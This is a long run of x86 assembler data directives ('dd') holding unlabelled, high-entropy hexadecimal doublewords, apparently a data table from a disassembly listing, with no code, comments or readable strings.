dd 0CC39D703h, 64385973h, 45C1A0DBh, 0E486914Eh, 6E7E8C27h
dd 0CF1B948h, 7032FC51h, 85CE8F0h, 46BFBA0Ah, 4C398E51h
dd 0C04914BEh, 5DEA802Eh, 6B4D86EEh, 0C2F4C6F4h, 0A9C00814h
dd 0FA1049C9h, 3A217FFEh, 6C27E578h, 0DA039FB8h, 5F440160h
dd 0D372497Eh, 9CFDF77Bh, 0EA8C492Ch, 0CF5527F6h, 201C98F0h
dd 0C5BBCAA1h, 58A816E5h, 0D8A6EF42h, 1D6678FFh, 0F8FF7192h
dd 0D064176Ah, 5CD9009Bh, 0A4F96362h, 0CB78688Ah, 0B2B2E21Ah
dd 0E28A50E4h, 82CDE748h, 552C13D7h, 83569C63h, 6B95D2C6h
dd 0EFCE381Ah, 0F91A56DDh, 554625A3h, 0DA393E74h, 0BFEAB95Dh
dd 5E9D2A6Eh, 7224D4E5h, 9224939Fh, 0F2E3F7EBh, 0AB40FF7Ch
dd 0AEFEBE3Bh, 0F7295D0h, 0C89FBBB6h, 0C686F08Ah, 6DD6029h
dd 5F3BAFF2h, 5B4D6FF8h, 0EB386BFDh, 3AF76E62h, 493CADEBh
dd 7D92E078h, 0E19B6CF7h, 11587E2Eh, 3B097847h, 20115761h
dd 639D15FCh, 5F75BC79h, 94CA69E1h, 8968DA9Fh, 50A2E4D4h
dd 0BEF7A082h, 0D11925B2h, 7A19F144h, 0D2599Ah, 537A062Fh
dd 0C9FB52B9h, 8D014D64h, 1D86FF3Dh, 77D02252h, 2F04ABF0h
dd 6BE72E62h, 5588485Ch, 305D978Dh, 0B8D5817Bh, 0ACD7AD8Ah
dd 7CBA4582h, 307400B3h, 0CC4A4E11h, 8BEDE4A2h, 4D6075ADh
dd 56B3D0F1h, 0B2AB4429h, 820C45BAh, 86E3D604h, 6A92A245h
dd 0CA841397h, 0F925AF55h, 3F63EA91h, 0E7918E4Ch, 0D3F5DC03h
dd 0BBD72B5Ah, 7CCB1E60h, 241E03D1h, 3FDAAF3Bh, 0A2E4B3Bh
dd 0AC8D9680h, 2650521Eh, 0FF7C166Bh, 9D268A91h, 841174F9h
dd 3B859201h, 0CD0F43F7h, 0A7AC1CF6h, 84B3D16Ah, 718624D0h
dd 0F5087CE8h, 88163FBEh, 22653EC2h, 0B3E9AFABh, 0E324F1F4h
dd 48094CC6h, 5CC41CB7h, 0D21DB957h, 8F0A892Fh, 0A57C019Ah
dd 88EEC371h, 0F8850184h, 0BC8CF57Ah, 1E0B57D8h, 54DDE40Ch
dd 0B8737645h, 0AA7906Fh, 0BD96CA9Dh, 861BD47Ah, 320360C0h
dd 6BC9987Dh, 92B046A8h, 0ECCB9733h, 7CEE43BFh, 0C9C8F468h
dd 45A8ECADh, 9C786DCAh, 0C0933A5Ah, 0E4F84E0Ch, 2F290753h
dd 0CDE92C7Ch, 0D0274D04h, 22530533h, 7F881807h, 9F8C19C6h
dd 0B8C3EE65h, 2162C7Dh, 0F08FAB2h, 5A24D1A4h, 4D283A72h
dd 3B9F4AE2h, 0E510E636h, 712295F1h, 91F19FC8h, 5CD100EDh
dd 0EAA14904h, 2F5C1F9Ah, 5261935Bh, 35347CDBh, 0BC334D98h
dd 6D38BC63h, 0DE63BB2Eh, 0C3D18E6Ch, 4E379B38h, 0D23CE4C6h
dd 99C39C52h, 0F2C28465h, 269167CFh, 765888D0h, 925FFF74h
dd 594C92FEh, 49A605A5h, 39E17E32h, 0E2F237D3h, 4E6176CCh
dd 0DEA425CEh, 0ED42B0FEh, 0CABF0BE7h, 731F07EFh, 0DF7F1C5h
dd 85783273h, 0EC27D2D4h, 0C91E8DB8h, 6DF12451h, 124B5FBDh
dd 0CCEC2A28h, 934CC124h, 944AECAEh, 641BA037h, 0E25EA57Dh
dd 0B6D2013Dh, 91EADCFBh, 6B77B0Ch, 19B684Eh, 0C2D191F6h
dd 4D16F988h, 0E92ADA5Bh, 580F2D4Dh, 2B715735h, 0AAF0CA25h
dd 5FB0BF81h, 0C9AAAADDh, 80AA8F88h, 5D34D358h, 5E17BD28h
dd 0C1AC0658h, 0ED11D210h, 0D0971F8Eh, 2FFAC45Ah, 26B664D5h
dd 9EC9B47Eh, 0FA5EF7Dh, 0F79A3016h, 21DAF9E8h, 0EBD0C308h
dd 0FB636CF7h, 0CB081CEEh, 2731A6Fh, 95F7EC8Fh, 87C42B6Eh
dd 0EA376BF6h, 0A1C8DF42h, 5F6B9D98h, 51994F5Fh, 563AE891h
dd 0BF21227Fh, 2658C8E7h, 423B40B4h, 4504BEC9h, 0A1044BE1h
dd 7CB2A27h, 0B44B449Ch, 0B861BA12h, 0F1BE1281h, 3E6879C8h
dd 19C15941h, 0B371363Ch, 14ECAD0Bh, 463DC27Ch, 65E8E3E0h
dd 0F489BBBh, 6559850Ch, 0F0EDB423h, 0AA7C64CAh, 83FD907Ah
dd 10CC71BDh, 8CA05C1h, 6E70E693h, 0CDE58538h, 12EEAF93h
dd 75315C9Bh, 0A9BF850Eh, 0FDFB0F4Fh, 96B8A9CEh, 0A378757Ah
dd 0AC93FE5Dh, 25D609CCh, 949C1825h, 9F433EDAh, 0A9C66A43h
dd 0F34977E0h, 0EF6042A5h, 338948F5h, 0FB5C400Dh, 316F48E0h
dd 0DA42286Ah, 6A45CAABh, 8A8FBBF0h, 949999F9h, 4D22040Bh
dd 0CA5256C9h, 0E25B0803h, 0B2AA0BCCh, 67410E93h, 58E0B72Eh
dd 56459EF7h, 0B8855E33h, 176E1E95h, 0E2635A2h, 0BD71DBE3h
dd 7A3E0E09h, 0C801384Eh, 53EF7E9h, 23BF5B9Ah, 0AC245160h
dd 0EBDE9781h, 0EE501C3Fh, 89D61835h, 84674E26h, 9CCEDC41h
dd 65E891B6h, 8B08A6F6h, 29BC6A48h, 0FD326AAh, 79A911C2h
dd 0BC3C41F7h, 0F10C37EFh
dd 5666B099h, 0ECC60C3Eh, 1D32D36Bh, 6BA7632Ah, 0F806154Dh
dd 0F2EA686Fh, 5DAB4C70h, 0E132DF4Ch, 0FB3D2B85h, 9DA72CE1h
dd 2DE0192Ah, 19F4D3EFh, 924CF717h, 0FF19EB88h, 0FA02CEEAh
dd 0D544F151h, 6145DCE1h, 0C585C70Bh, 4CE6D3DFh, 39327DB8h
dd 524DB11Fh, 0FF88944Dh, 85A58EE1h, 81A10736h, 0D8B82951h
dd 611C2FDh, 6A0EC194h, 26A1A748h, 0A925B8C1h, 0DE386BE3h
dd 4C76A65h, 0A47B592Fh, 52F1321Eh, 445BDA5Eh, 89311D88h
dd 0E5F28D7h, 7853CA8Ch, 0B88EFFA3h, 0E7BDA190h, 0AE6375EEh
dd 5BFF9925h, 60679B8Ch, 18F085FFh, 0A32FA464h, 0F5F61DFDh
dd 7AEFE438h, 5D59FD79h, 69CAE702h, 0DFAE02Ah, 92A7DA32h
dd 8ABA4844h, 0B749C35h, 0EE6D47C0h, 0FB761632h, 782BA9AEh
dd 0ECF7ACC1h, 0D01E4CFBh, 0C53A429Ah, 9B41E927h, 3EA007DBh
dd 0ECCBA719h, 0E769C0C1h, 76F5156Ah, 0B38A1867h, 3FF2F2F4h
dd 0ED01210Dh, 0BFE42B54h, 25D0426Fh, 1F0E7B38h, 0C6DE010Eh
dd 923AF7A3h, 23AF84BAh, 0B84C18FAh, 96D7BD30h, 785482B8h
dd 2765ED91h, 8EB552ACh, 5B41D01Dh, 3F58F95h, 1E81DE14h
dd 9571853Ch, 52D71214h, 342FA94Bh, 4439C769h, 195968D1h
dd 30ECFC0Eh, 3617E4F8h, 2D011A72h, 7BAA72BFh, 7A00CE9Eh
dd 0AC89FC7h, 4D9496EAh, 8BBD140h, 77575E83h, 606B07A7h
dd 0DA927942h, 0B04C0CD6h, 0A9F853B3h, 0E132328h, 4D1EDBA9h
dd 942248C6h, 64FF6F1h, 0D4A55F1Dh, 494D04E8h, 94791945h
dd 0B640B54Dh, 0E4E91732h, 68929012h, 9CA42AD0h, 0AB3BF1A2h
dd 0D2C305CDh, 3A0369DBh, 0DDF412Fh, 4723FE32h, 684C73F6h
dd 576B862Dh, 0DA488047h, 0E919FE2Ch, 722F1DDDh, 0C514165Ch
dd 5FA85F67h, 0C6821C66h, 0B3A2EDCDh, 0ECAED96Ch, 0BD06DC70h
dd 15EADE56h, 3F1A0471h, 4966845Ah, 4656977Fh, 0C90E0E47h
dd 9BFCD525h, 711FCE0Ch, 0C7BE827Ch, 19668F1Fh, 3390B2B9h
dd 5FFB29E8h, 0F4DEACA3h, 0EE8FA3C3h, 0A40BB663h, 23F214BAh
dd 4E88B94Ah, 0F12AA7EDh, 9706A1E0h, 6AAFA1Bh, 1FAB4A25h
dd 37912E73h, 0C4AA65B5h, 716AF7ABh, 0EEAF220Eh, 0DA5BECFDh
dd 0ECA23977h, 0F7570845h, 9F32F12Fh, 1D7BB73Eh, 3FFC2302h
dd 0BE371A09h, 9D81B013h, 0C08DCAFh, 1F0BEA7h, 64E1BC18h
dd 3BB3AAE3h, 0D228D041h, 0E1A9FDBFh, 3F67C25Ah, 0F45510FDh
dd 7AD8986Bh, 0E71C8830h, 0B77394E3h, 0CE13E07Fh, 12A8BF7Ch
dd 0D40F51A8h, 895A655Eh, 784A8ED2h, 0E01AD56Ah, 7B0F0792h
dd 0C1137670h, 0D1BFCF00h, 5B0C58FCh, 9751BED4h, 92AD878Dh
dd 3A412276h, 0E2BA3330h, 2A8BB8D5h, 5D8787BCh, 9EFA5CB9h
dd 4C93D389h, 0AF97E245h, 1ADD2C27h, 157D9841h, 869FFD5Fh
dd 0FA9D4308h, 0FF0BA5B6h, 0F28ACD31h, 73AA020Dh, 70D55DE9h
dd 228A82DEh, 1D9F5466h, 602E8F4Ch, 7655D230h, 2EBFF205h
dd 0F73D2E0Ah, 29D4A70Ch, 8CFC58EBh, 0E8106675h, 0DE7A570Bh
dd 15C9E5D7h, 4591EC44h, 7002F41Ch, 3D259E37h, 66CCC69Ah
dd 0C1C6F93Ch, 21748D35h, 0C820796Bh, 1B166700h, 884789CFh
dd 6120C8E9h, 0A859654Eh, 85847870h, 0A6D32670h, 0FDB1D0F9h
dd 0DB059C89h, 7027746Dh, 0D44B6FF1h, 40B7D764h, 9DC53EB7h
dd 0EA5A6F6Fh, 1B8AB6D2h, 0F763C706h, 0FF69F588h, 0EF1CE5CFh
dd 77555155h, 4B80C3EAh, 15F079FDh, 0FD576FD3h, 0CB47D0A1h
dd 0F8598AB3h, 0B31D5905h, 92CA1CFAh, 0D1E68693h, 0F77F48F0h
dd 595BA898h, 2C51E64Ah, 6006E7BEh, 5C69B32Fh, 5BCEF39Dh
dd 9D75767Ch, 87F576C7h, 0F2D117F8h, 0E3D790BBh, 85124094h
dd 611F4C06h, 0EBD32213h, 8C0A4458h, 0AEFB9429h, 426A5513h
dd 70EB2073h, 47F23B62h, 0EBF19C28h, 0B8C257Ah, 0CB5F9621h
dd 81D6AB31h, 3F007013h, 0AA55E8B3h, 97E9C256h, 0D0F72B05h
dd 105B790Ah, 0E76E8A4Ah, 72A48FF7h, 0C664CDF8h, 0E8FBBA76h
dd 5E176C91h, 124D31E8h, 31CD25CDh, 0B0B031BFh, 0B963CDC0h
dd 0A49D4C79h, 0CC2ABBC4h, 0A6D561D4h, 26F8B780h, 9D04F66Fh
dd 756C6A6Fh, 0D26FBA34h, 0CFEC8455h, 0ED8593DDh, 0CC952D89h
dd 3A75A43Eh, 69FA0F21h, 2C382E24h, 34E69B12h, 9589FB87h
dd 333C14D0h, 0F83B74E0h, 34B8ADECh, 0DE368349h, 4617E0DBh
dd 0B0785BBEh, 0F62245D2h, 9FF6398Ah, 6F3C7F7Ch, 0AB613EDBh
dd 5D4DD2B8h, 5BFFF38Fh, 0FED0BE13h, 0F134A364h, 3FA55AE0h
dd 0ADA1EA09h, 427A270Ah, 0A1E967EBh, 4FE8539Ch, 52DF2922h
dd 0A517B5FDh, 0BE206F95h, 9ABF2CABh, 104E43F7h, 0CE80BAC2h
dd 2FDE8BA6h, 5247AD2Eh, 277D1E68h, 3793F0E1h, 71AAFC64h
dd 1A1CCBEFh, 208D1B4Bh, 0C3D5A557h, 83DED109h, 0D1DF3F0Eh
dd 84D1FD2Eh, 0F40FD490h, 6F10E059h, 0D07C5BF6h, 1FFA88A7h
dd 0F450CD8Ah, 4D0A0599h, 0F52EAD3Ch, 1225EEACh, 529FCB4Fh
dd 0C0954051h, 9120F4F1h, 0BC10A1F5h, 8FB62277h, 382B8B34h
dd 0C936F638h, 63DF8E72h, 9898E100h, 0F5D219B3h, 492B9946h
dd 21BE1374h, 0AB575782h, 9798F3F9h, 99B24C1h, 36CEAEB4h
dd 0CFE8CBFh, 55CC0B9Eh, 0CD45D72Bh, 3E9ADAFBh, 69D5CA4Ah
dd 0C5E12BB6h, 4B16DABAh, 33F52D38h, 0C2E7236Dh, 8DFDDF55h
dd 8BDB22DFh, 0AAAE784Bh, 5E79A09Bh, 0A428C955h, 0B4C580AEh
dd 2B3CED11h, 0C901F256h, 721A6A14h, 258A594Ch, 4F0E1CACh
dd 8A02D09Ch, 0C5CC3D27h, 82AB9403h, 0A3AC260Ah, 1A1D3597h
dd 24F07FC7h, 217E43D9h, 0A7CCEEBFh, 10E1F0BBh, 8ED2237Bh
dd 0F8AC8A45h, 212B00A7h, 0B366D185h, 0EBB9F229h, 0EA056377h
dd 0FEEE6F5h, 86AEDD1Ah, 0EEB867F1h, 0E1575B88h, 0EFC9865Bh
dd 0A1375AAh, 90EC0486h, 52BA3198h, 50569002h, 824D4433h
dd 266CE1F3h, 0CE3F0F02h, 1360D900h, 7E8D37A6h, 7F62C5EDh
dd 65D13002h, 0DCA58F08h, 0C7454C5Dh, 5D6EB08h, 0D8736795h
dd 2252DBE3h, 1E41F2CFh, 84ADCE69h, 0D982F3C3h, 8C63262Ch
dd 0E721FA8Ah, 0D0AB7FFDh, 0D6FC3E18h, 82A54FDDh, 42B22742h
dd 9FA93160h, 4B63C011h, 12980641h, 62CC5F0h, 0E9C54E78h
dd 2A3BC759h, 4E88EC29h, 6EF4F8BFh, 0D4372C3Bh, 1AB4C6C5h
dd 65EAB3E5h, 165FACEFh, 0F1E275FBh, 4707CC7Ah, 577130ECh
dd 0E7CF2F3Fh, 576CF10Bh, 95DACA57h, 0A9C18414h, 3E927A67h
dd 896CB95Ch, 0B7FD36F9h, 6C452197h, 7D34FC13h, 0F9C6F0D5h
dd 76730722h, 0A70C893Eh, 0A2D1F828h, 0AC3FA6F4h, 0F5ED0E1Bh
dd 28DBF796h, 0B60F46A8h, 49EDE07Bh, 61BE38A1h, 8C3331D8h
dd 1A226DF7h, 0C47CEDDCh, 1519A378h, 842DF8F5h, 92D1CDF0h
dd 0CD6B1FBEh, 0DCC056F9h, 0AF547FC2h, 60200789h, 128C368Bh
dd 0D82EEF59h, 2C617639h, 0B720088Dh, 0A60F1436h, 5EE82F97h
dd 74DA7037h, 120B0A87h, 445DA3F1h, 0D584C1FCh, 8C344490h
dd 33597E11h, 97E6BF42h, 6BA59379h, 0F7643A52h, 0F86809A8h
dd 0B06F3DB2h, 5CBF7FF4h, 3F35DC32h, 0B750C7FCh, 1147F563h
dd 0FCBC3817h, 65B95AC0h, 0C630C3B2h, 179AA234h, 0DB42645Ah
dd 0C1F6717Ah, 2CA91DA4h, 89D74082h, 0B668CD32h, 7FA4915Bh
dd 0F8381EA0h, 29C275D1h, 820C8263h, 0F1C42178h, 0D01B4A32h
dd 81EF1144h, 0E48DF4CAh, 0CE7729B2h, 0D9A75FABh, 1E9D83CFh
dd 60CDD6C8h, 79B089Ch, 55E13723h, 0AFC6C994h, 0B8502CA9h
dd 82ECA98Fh, 9CE36B83h, 6A86FD99h, 214AD521h, 6FB1118Ah
dd 2ADC50C0h, 0E0EBAF7Dh
dd 2DE3E41Fh, 0EF6A0FA5h, 0D512FEB0h, 0B404BB7h, 4512AE0Eh
dd 6AC3D443h, 0C732C48Ah, 2E5B4CF6h, 39530C45h, 33D7B9A6h
dd 0A809AD66h, 818C1A85h, 0DB923BDAh, 374E5F4Fh, 0A2641715h
dd 0F72F8378h, 0AF73901Ch, 462B648h, 7EE2F1D8h, 54926891h
dd 0C168298Ah, 3CA76839h, 0C6698271h, 0C4EFF221h, 0CD245487h
dd 8433D4DBh, 7D58CD5Ah, 43181D64h, 9D813D7h, 0AE03292Fh
dd 61DED0A2h, 0C4D9ADD7h, 3011D9EFh, 3BCA5DC6h, 0E34626C2h
dd 3D31CF85h, 81D9C9DAh, 0ECFE48CEh, 0D9F3B32Dh, 4494A9DFh
dd 90A32834h, 0F7CBF7D7h, 0F0A3CBB5h, 0B8921312h, 0C974F3Ah
dd 1A63E8B9h, 0BDEAA4BFh, 7F9BC98Dh, 5645F74Ah, 6D85B368h
dd 0F301CC29h, 0EF42C3D2h, 4FAA3FFDh, 6004F60Fh, 5F4ADFBDh
dd 4EE77E16h, 0E2C6E775h, 0F00F3163h, 4DAF5D98h, 0D9EF8DFh
dd 7FCC974Dh, 0DA7FCF0Fh, 97FE6F11h, 7D2CDFF7h, 3E1F97E3h
dd 6FA092E7h, 7B5F360Eh, 0C8A77B87h, 5A20FC43h, 0C9A63E83h
dd 0B332E574h, 0A2153573h, 3B75EBCh, 3B0F3B70h, 66C9DAF0h
dd 0F2DE9C7h, 8BF06F64h, 675B63D0h, 969B9BDFh, 0E08136CBh
dd 0F4C5D4ECh, 2417BD01h, 1E19B329h, 2C182939h, 0AFDA1F96h
dd 0D55B926Ch, 0D5F2DB05h, 1A5726BFh, 0E7AE40D4h, 0D76B5A5Bh
dd 2A561D94h, 0BB98282h, 539EF9B7h, 9193784h, 7E4167ECh
dd 462ECC63h, 8B7B08E2h, 498D1C4Ah, 0B9D88B65h, 0C68C9972h
dd 0FA6775F4h, 2A905114h, 0AD7EED3Dh, 0C753FD1h, 0AD8986B9h
dd 649289C2h, 0B304EE66h, 0CCBF0A8Dh, 402CBF39h, 0E2C6C183h
dd 0E12B0B5Ah, 3E4CD74Ah, 0C72A2AAAh, 0A04153AFh, 0D426684Ch
dd 7E44DE26h, 0C599A30Ah, 673DEDF5h, 0E7F8A706h, 1DCFE564h
dd 0E230EB54h, 738B1026h, 0A7642DB5h, 0AED071C5h, 209DEFE7h
dd 7E17CB4Dh, 4D49CB8Ah, 8259D373h, 3EC7820h, 0F24914F5h
dd 69F70113h, 6EE483F2h, 9680ACFDh, 0AFD1FEE0h, 7E354E7Fh
dd 0ED850CD4h, 553630F1h, 0FB2721B5h, 0BC2CF33Ah, 0CC65CC80h
dd 0F588C12Ah, 37139FAAh, 0A59C965h, 0E798A40Eh, 7060B1AEh
dd 0DB357277h, 906B90CEh, 0B4DE771Dh, 0F492A160h, 0C7F6D9ECh
dd 1ABAA31Eh, 6A9D686Ah, 0B4D83D54h, 61F6E20Eh, 0A5DECCA2h
dd 65AA715Fh, 15F2D82Dh, 8861B2E2h, 0AC296600h, 1E1F33BAh
dd 83EE0A93h, 0E1BD7171h, 734DFCBDh, 261FA98Eh, 0B8A28A78h
dd 1AA43E55h, 0C1627013h, 91201179h, 4FA427Eh, 74F3E0CEh
dd 0A75E0CE6h, 68320EB8h, 4947F761h, 2F22F0B4h, 7026281Dh
dd 27CF7F57h, 2940BD11h, 0E8AB3B32h, 0B9E0E1CBh, 1DE3CF3Eh
dd 1C62D08h, 33BE7F01h, 2A989190h, 0C1EFE65Bh, 9A4BA928h
dd 5532988h, 0AA869802h, 543ECBFBh, 8280AD00h, 3235355h
dd 0D5C9D3BCh, 0A9611CCEh, 461CDF25h, 3F48723h, 815F053Ch
dd 7D8377FAh, 8AD3A61Ah, 9F3815CBh, 2A5C423Ah, 9B34B36Ch
dd 572FEC00h, 3B2B4046h, 4826F455h, 0B46A76E7h, 10C18F05h
dd 0A62805D7h, 38210D4Ch, 0AA95F9C7h, 233B8806h, 13148325h
dd 83C2AE19h, 16BF5542h, 65CDD238h, 76E3D792h, 0A0AFCF2Dh
dd 2CBF776Ah, 0D2BBAC9Ah, 3CABCBBCh, 0A0CE07FFh, 51907EA4h
dd 5AC4E093h, 765A1EABh, 2CB98CE4h, 6D93DBAEh, 69CC3EB0h
dd 2D7F38EFh, 26CA9BFEh, 7F7422F6h, 3F817B58h, 93010CFBh
dd 0BF732B61h, 0A3170A24h, 0E5E0CED4h, 0C5738E10h, 2264A576h
dd 0FC950E6Dh, 738C4360h, 0D316A411h, 0EA6D8779h, 0D9E71B98h
dd 0AACBD1A7h, 0E7F1A4A5h, 5DF6B5A9h, 0DD4D8736h, 0FE5C5861h
dd 0DDA271ACh, 0E4CE0868h, 0F5F36A42h, 66D79B7Eh, 1F0ADD5h
dd 6EC1A14Fh, 139B9BB5h, 92424F7Ch, 0F34AAF14h, 0DB939648h
dd 9D49188Ch, 0D3F8CA59h, 9C6D3592h, 7F06D184h, 4DD180D1h
dd 0FE9FB4C1h, 169F5D95h, 2606AA82h, 9A1232D8h, 998B619Bh
dd 6A094994h, 0A76C970Ch, 8FF1C922h, 907927CEh, 3EAC07EBh
dd 323A83BEh, 8132BCFDh, 586C9596h, 958CD03h, 9B2FEC5Ah
dd 70428FF3h, 2CC4BB35h, 598D4F9h, 8929519Dh, 24650D50h
dd 0AC6DC531h, 0D7C09DAAh, 589CF9A9h, 2B12386Ah, 1C0508A6h
dd 78848ADCh, 6E017947h, 1977261Fh, 86249833h, 7A7BBA4Dh
dd 9491E0F1h, 1169E858h, 24D213C6h, 562A5B91h, 0EFB6EF68h
dd 0DF8AB5A8h, 55396155h, 79E98DADh, 0CAEA644Ah, 63B6650Ch
dd 0E305B191h, 0FDE9B940h, 0A2C7ED15h, 7A3CEE95h, 8287D124h
dd 33AE3EF5h, 0E7D54F65h, 0B48D891h, 652EA684h, 0B0929251h
dd 0BF546534h, 6932F5D6h, 0D5B96A2Eh, 0F1DFE2B3h, 616F7649h
dd 89A9E908h, 5981A8ABh, 2D3B167Ah, 5D0823FFh, 183048E0h
dd 9F2F0A17h, 1FD8A324h, 0F28EEA2Ah, 9AE4AE28h, 0AF64197Bh
dd 0DA756911h, 61E21E69h, 0B3CCA9BDh, 80E7C85Ah, 0F81BA348h
dd 93611357h, 0B76E60BFh, 0E07DD03Bh, 2A1E3D17h, 0C4B7C621h
dd 7E9DDC81h, 0F3FBB5Ch, 0A4D620C9h, 9819AFA2h, 0E75ADEA8h
dd 8567D40Fh, 4763AEC5h, 0E6A774A3h, 0A2EACE85h, 0AFEA42C1h
dd 1C1EA91Ch, 0AB6B4272h, 0C037FF9Ch, 4DD127AEh, 51C54127h
dd 0A66BBA79h, 76D18AD7h, 295CC676h, 7A93C096h, 49636FCCh
dd 5739FA77h, 8D1EAF62h, 3A456D55h, 67DA9DA8h, 9479B661h
dd 38F1AFE5h, 5F98AC6h, 0F5B37DD6h, 5C9E1050h, 6E2E09E6h
dd 0F7E9F99Fh, 311F4E7Ch, 39DA9B63h, 0EF4494A5h, 1A14A07h
dd 9F5A041Bh, 0AC40793Dh, 0F36E8343h, 6D4AC35Ah, 44FF53C9h
dd 0A4BC8DB0h, 5060CA48h, 1961BA85h, 0A394044Fh, 2E6659D9h
dd 97487E14h, 29590274h, 0C0315AB1h, 2BD32D04h, 0E58A2CBCh
dd 1D46DD55h, 4D2F09B0h, 0C2E6A990h, 76C60BDCh, 176073C4h
dd 0CB1FBB8Bh, 0D1B087C9h, 0BE44B84h, 3F14196Eh, 0BA6BDB51h
dd 1D31B4C6h, 87E3197Bh, 0A1EEDE4Ch, 0B03AA9EAh, 68244511h
dd 0C799E51Dh, 0DAF08FD3h, 66ECD92Eh, 5B61BCB7h, 275CADEFh
dd 73D95A57h, 52AD0E80h, 57D36EE0h, 4D5C1E66h, 0F90B205Bh
dd 4F96D61Bh, 0B9642896h, 0A1069D13h, 1F68ED53h, 1D2E25ECh
dd 0F14A75C8h, 0AE3EE17h, 614899B8h, 71EEADB3h, 4FB61988h
dd 46650A72h, 7A42B592h, 0F6B22C0Fh, 1FD91B08h, 650CD46Fh
dd 4744CDD3h, 37AC87AFh, 0F7419EE4h, 6FFA6BCFh, 0FEAC54EFh
dd 0ED3C41B2h, 0B00E0748h, 2E98FB22h, 67536C2Ch, 0EE63A6DAh
dd 7D185FF4h, 9DE82568h, 463279A3h, 537A8A4h, 49017FB7h
dd 0CBAD98E9h, 7382B6D5h, 0C7F44C9Dh, 0ED1E884Bh, 0E6DE0003h
dd 0E56FED85h, 0A065111Eh, 0C038F549h, 0F9DCCF5h, 82D37FCh
dd 0D33F0B13h, 0ECACF941h, 635D8798h, 7C425C82h, 769FF9Ch
dd 0F9F3E180h, 6D66B8ECh, 9E282063h, 15DC32D4h, 8B46F534h
dd 253D30B9h, 0B285784Bh, 8030C4AFh, 0CB21F67h, 0C763667Fh
dd 9E8503F6h, 0C1887AD6h, 3A29A03h, 52A2EA89h, 0ED5B0C0Dh
dd 2D32E5CCh, 5DA526Dh, 0C36106F2h, 0E0AD56E5h, 4AB78B61h
dd 0F859AFB4h, 0FDF226D2h, 0D5393434h, 0BE607AC4h, 206A9A3Dh
dd 0EF03FDB2h, 6668F529h, 4FEE7583h, 7B657B85h, 0A5261E0Ah
dd 0DFEB3AC5h, 0CF5D4535h, 0F2CE3C7Ch, 0BF0252CFh, 0F0060B31h
dd 96B402A3h, 175E55D2h, 0D2935E96h, 7F34573h, 92713A22h
dd 15A8999Bh, 3F6E9D08h, 0CC6CE8B9h, 539EAF18h, 0A3937AC1h
dd 7DF02EA5h, 1D30174Eh, 3E353CF5h, 990C0EA8h, 0D2F716ECh
dd 5185AB37h, 935B360Ch, 0FD08576Ch, 70D2B7A6h, 0AAA775E7h
dd 0DF37DA55h, 0AA49385Fh
dd 2801CC68h, 0B72FCF42h, 0DCA350C3h, 9ECCCA28h, 67839C83h
dd 0FA56A0ABh, 0C441411Ch, 8F976B71h, 1BDBFB45h, 521C7AD6h
dd 70D7FB99h, 229E8942h, 0B48A5EDBh, 1EFFAFEAh, 0C5E46717h
dd 0A86957E1h, 7380450Bh, 1EAE8772h, 0B6AEF5FDh, 0A04A5DEAh
dd 0AFD72F94h, 8C75F5DEh, 0B027446Ch, 0C94F93D7h, 0B7BE303Bh
dd 0FE6F5AD2h, 0C339A65Ch, 22D450A5h, 83334F89h, 5B4C7C95h
dd 0C4E8C8B7h, 531B39F7h, 499E7971h, 29732075h, 0FAD6B457h
dd 0A9A91EE7h, 779FA36Bh, 0C84E4B64h, 1E99332Bh, 1F372D10h
dd 0F06A980Ah, 7BC5572Ah, 0C934DB23h, 0A11C215Eh, 9790925Fh
dd 0B67C2335h, 0C62D9B3Ch, 0CC2142F3h, 4C71198Dh, 0F7EC3E9Dh
dd 842B04A4h, 7A7C7C07h, 890AA4A4h, 993E9526h, 1AB31E76h
dd 6B344CD8h, 89BE286Ah, 8145A20Ch, 0F9D9A674h, 0FE2E8C55h
dd 2CE3A5A8h, 0EC3F44BDh, 9C8A47CBh, 573866FDh, 0A0B2A307h
dd 5BBFAF78h, 0DEF1410Dh, 0D882AD9Dh, 493D6AD6h, 0C619D35Ah
dd 0FC28ECCCh, 0F81F7BD2h, 11589057h, 0F24AF75Fh, 32342819h
dd 5F382DE8h, 0DFD800ADh, 315C8CCFh, 0DDADAD07h, 8EA6509Ah
dd 0DAFC800Eh, 0FC02F5D7h, 7A477879h, 5D34371h, 110F2A6h
dd 52A17F7Fh, 16EDD2A3h, 54FEEECAh, 0F8F9763Ah, 0F65F06D2h
dd 1EA0B0A5h, 7F72BE86h, 0B2CF1F82h, 6FB888C6h, 8ED16207h
dd 0F287451Ah, 2466BC34h, 2D0B304Ch, 0D3A9B50h, 44024472h
dd 60E30E7Bh, 591DDF74h, 531EE11Dh, 0D097014Ah, 0AD31D932h
dd 62F53FFDh, 7A373092h, 0DFBAA3E5h, 0D6999D82h, 82B7621Dh
dd 369CD9C9h, 272A37D6h, 46F56384h, 0D652EC86h, 0D50DFE56h
dd 0C9637F02h, 0BAECBABh, 0C4F9C375h, 0E8D30903h, 115D0234h
dd 0FE7451EFh, 0CA1D1582h, 7DA7CB5Eh, 0B1EFF692h, 28B549CAh
dd 788FAA64h, 0D57BDD8Ch, 968CAE81h, 69BB34FCh, 19DDDA02h
dd 0B4724BD4h, 632D793Eh, 8371E99Ah, 336FE2C3h, 5B23D6D4h
dd 8F8CBA0Ah, 3D6421A7h, 62C888Ah, 926B4814h, 829F9C74h
dd 4FB12FDh, 5F029BCh, 58413D57h, 0B3C572A3h, 309D29AFh
dd 70967CC4h, 0EFCD1E53h, 231BD0ADh, 4CADB584h, 3668FEEDh
dd 642CBC1h, 61467143h, 0F54A4E3Eh, 0FBF0A4FAh, 34CB52C7h
dd 0B157FCD6h, 0A61B41ADh, 0CD4A014Ah, 0B891FCAh, 2877D6D5h
dd 0D19F0688h, 120DA63Fh, 2F3BF4D4h, 8E0EF459h, 0AE0DFB41h
dd 24317B41h, 2C9D676Ah, 0A63B3AD7h, 61D88066h, 0D7EDE2FAh
dd 3C884BF9h, 0C556B3FAh, 0DD17B132h, 8A58C148h, 0C85E5C45h
dd 2F83583Fh, 0B8DF9235h, 556ED3E8h, 88EC46AEh, 780F7018h
dd 9B9C2076h, 19A0C4DDh, 1C3379FEh, 0DC3B9AF3h, 55D59B78h
dd 73466A65h, 55774681h, 92E5EBA8h, 0E1BA2B00h, 0AFAD589h
dd 941E7298h, 0F228960Ah, 0F264368Bh, 0E6496344h, 0D0BB1ED0h
dd 51F5E3Ah, 8922B5D9h, 9B1DA103h, 8225151Fh, 1E85E55Fh
dd 0FA06BDB1h, 0A9A616BFh, 0DDC52618h, 0FF38DA90h, 67EC822Ch
dd 0BA3631E7h, 1F707619h, 784DB576h, 91CC12B8h, 967B7E3Bh
